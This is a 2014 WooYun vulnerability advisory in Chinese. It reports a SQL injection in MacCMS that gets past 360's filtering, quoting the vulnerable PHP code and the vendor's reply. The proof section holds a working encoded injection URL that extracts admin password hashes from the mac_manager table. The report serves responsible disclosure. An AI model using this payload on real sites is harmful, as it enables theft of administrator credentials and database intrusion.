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缺陷编号:wooyun-2014-066263

漏洞标题:苹果CMS绕过检测SQL注入,第四发(绕过360防护)

相关厂商:maccms.com

漏洞作者: magerx

提交时间:2014-06-26 10:59

修复时间:2014-09-24 11:02

公开时间:2014-09-24 11:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-06-26: 细节已通知厂商并且等待厂商处理中
2014-06-26: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向第三方安全合作伙伴开放
2014-08-20: 细节向核心白帽子及相关领域专家公开
2014-08-30: 细节向普通白帽子公开
2014-09-09: 细节向实习白帽子公开
2014-09-24: 细节向公众公开

简要描述:

原来我之前说的那些都成废话了,厂商没有看懂,囧~,看回复把过错归结于360_safe3.php,不再发了,总结下原因。

详细说明:

index.php:

$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
$par = explode('-',$m);
$parlen = count($par);
$ac = $par[0];

if(empty($ac)){ $ac='vod'; $method='index'; }

$colnum = array("id","pg","yaer","typeid","classid");
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
}
}
if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
unset($colnum);
$acs = array('vod','art','map','user','gbook','comment','label');
if(in_array($ac,$acs)){
$tpl->P["module"] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}


上面可以看到传递过来的参数$m经过be()转移看似很安全,-号分割数组后遇到神奇的$colnum,在$colnum中的变量intval处理,不在的呢?直接urldecode,我虽然没看明白为什么这样,当然最后得看这些变量会传递到哪里,所以这里难道仅仅是一个year写成yaer所造成的注入么,继续往下看,下面会包含inc/module/$ac.php
所以我们先看看vod.php:

elseif($method=='search')
{
$tpl->P["siteaid"] = 15;
$wd = be("all", "wd");

if(!empty($wd)){
$tpl->P["wd"] = $wd;
}

//if(isN($tpl->P["wd"]) && isN($tpl->P["ids"]) && isN($tpl->P["pinyin"]) && isN($tpl->P["starring"]) && isN($tpl->P["directed"]) && isN($tpl->P["area"]) && isN($tpl->P["lang"]) && isN($tpl->P["year"]) && isN($tpl->P["letter"]) && isN($tpl->P["tag"]) && isN($tpl->P["type"]) && isN($tpl->P["typeid"]) && isN($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }

$tpl->P['cp'] = 'vodsearch';
$tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type']. '-'.$tpl->P['year']. '-'.$tpl->P['letter'].'-'.$tpl->P['typeid'].'-'.$tpl->P['classid'].'-'.urlencode($tpl->P['area']) .'-'.urlencode($tpl->P['lang']) .'-'.urlencode($tpl->P['tag']) .'-'.urlencode($tpl->P['starring']) .'-'.urlencode($tpl->P['directed']) ;
echoPageCache($tpl->P['cp'],$tpl->P['cn']);


if (!isN($tpl->P["year"])){
$tpl->P["key"]=$tpl->P["year"];
$tpl->P["des"] = $tpl->P["des"] ."&nbsp;上映年份为".$tpl->P["year"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_year=". $tpl->P["year"] ." ";
}
if (!isN($tpl->P["letter"])){
$tpl->P["key"]=$tpl->P["letter"];
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;首字母为" . $tpl->P["letter"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_letter='" . $tpl->P["letter"] ."' ";
}
if(!isN($tpl->P["area"])){
$tpl->P["key"]=$tpl->P["area"];
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;地区为" . $tpl->P["area"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_area='" . $tpl->P["area"] ."' ";
}
if (!isN($tpl->P["lang"])){
$tpl->P["key"]=$tpl->P["lang"];
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;语言为" . $tpl->P["lang"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_lang='" . $tpl->P["lang"] ."' ";
}
if (!isN($tpl->P["wd"])) {
$tpl->P["key"]=$tpl->P["wd"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;名称或主演为" . $tpl->P["wd"];
$tpl->P["where"] = $tpl->P["where"] . " AND ( instr(d_name,'".$tpl->P['wd']."')>0 or instr(d_starring,'".$tpl->P['wd']."')>0 ) ";
}

if (!isN($tpl->P["pinyin"])){
$tpl->P["key"]=$tpl->P["pinyin"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;拼音为" . $tpl->P["pinyin"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_enname,'".$tpl->P['pinyin']."')>0 ";
}

if (!isN($tpl->P["starring"])){
$tpl->P["key"]=$tpl->P["starring"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;主演为" . $tpl->P["starring"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_starring,'".$tpl->P['starring']."')>0 ";
}

if (!isN($tpl->P["directed"])){
$tpl->P["key"]=$tpl->P["directed"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;导演为" . $tpl->P["directed"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_directed,'".$tpl->P['directed']."')>0 ";
}

if (!isN($tpl->P["tag"])){
$tpl->P["key"]=$tpl->P["tag"] ;
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;Tag为" . $tpl->P["tag"];
$tpl->P["where"] = $tpl->P["where"] . " AND instr(d_tag,'".$tpl->P['tag']."')>0 ";
}

$tpl->P['typepid'] = 0;
if(!isN($tpl->P["typeid"])){
$typearr = $MAC_CACHE['vodtype'][$tpl->P['typeid']];
if (is_array($typearr)){
$tpl->P['typepid'] = $typearr['t_pid'];
if (isN($tpl->P["key"])){ $tpl->P["key"]= $typearr["t_name"]; }
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;分类为" . $typearr["t_name"];
$tpl->P["where"] = $tpl->P["where"] . " AND d_type in (" . $typearr["childids"] . ") ";
}
unset($typearr);
}
if(!isN($tpl->P["classid"])){
$classarr = $MAC_CACHE['vodclass'][$tpl->P['classid']];
if (is_array($classarr)){
if (isN($tpl->P["key"])){ $tpl->P["key"]= $classarr["c_name"]; }
$tpl->P["des"] = $tpl->P["des"] . "&nbsp;剧情分类为" . $classarr["c_name"];
$tpl->P["where"] = $tpl->P["where"] . ' AND instr(d_class,\','.$tpl->P['classid'].',\')>0 ';
}
unset($classarr);
}


$db = new AppDb($MAC['db']['server'],$MAC['db']['user'],$MAC['db']['pass'],$MAC['db']['name']);
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
$tpl->mark();
$tpl->pageshow();


如果说第一发是因为year写错了导致不在$colnum中,避过了自身be()的处理和360防护脚本,那下面的其他参数呢,比如letter,area,where,des,lang,pinying,等等这些都没有经过其他过滤,所以直接urldecode了一次,所以可以注入的地方就很多了。当然不仅仅是这个页面,module下的其他页面也存在这个问题,就请厂商自行排查了。

漏洞证明:

所以注入点很多,比如我们拿之前没有测试的letter来测试:

http://localhost/maccms8/index.php?m=vod-search-letter-luren%2527%2520and%25201%253D2%2520union%2520select%2520m_password%2520from%2520mac_manager%2520order%2520by%25201%2520desc%2523-des-2019-where-and%25201%253D1-siteid-luren


QQ20140626-1.png


$colnum = array("id","pg","yaer","typeid","classid");
if($parlen>=2){
$method = $par[1];
for($i=2;$i<$parlen;$i+=2){
$tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
}

这才是罪魁祸首,由这处错误引起的其他注入不再发了。

修复方案:

~。~

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-26 11:48

厂商回复:

在0602版本中测试已经被脚本拦截。下载地址更新:http:///

最新状态:

暂无


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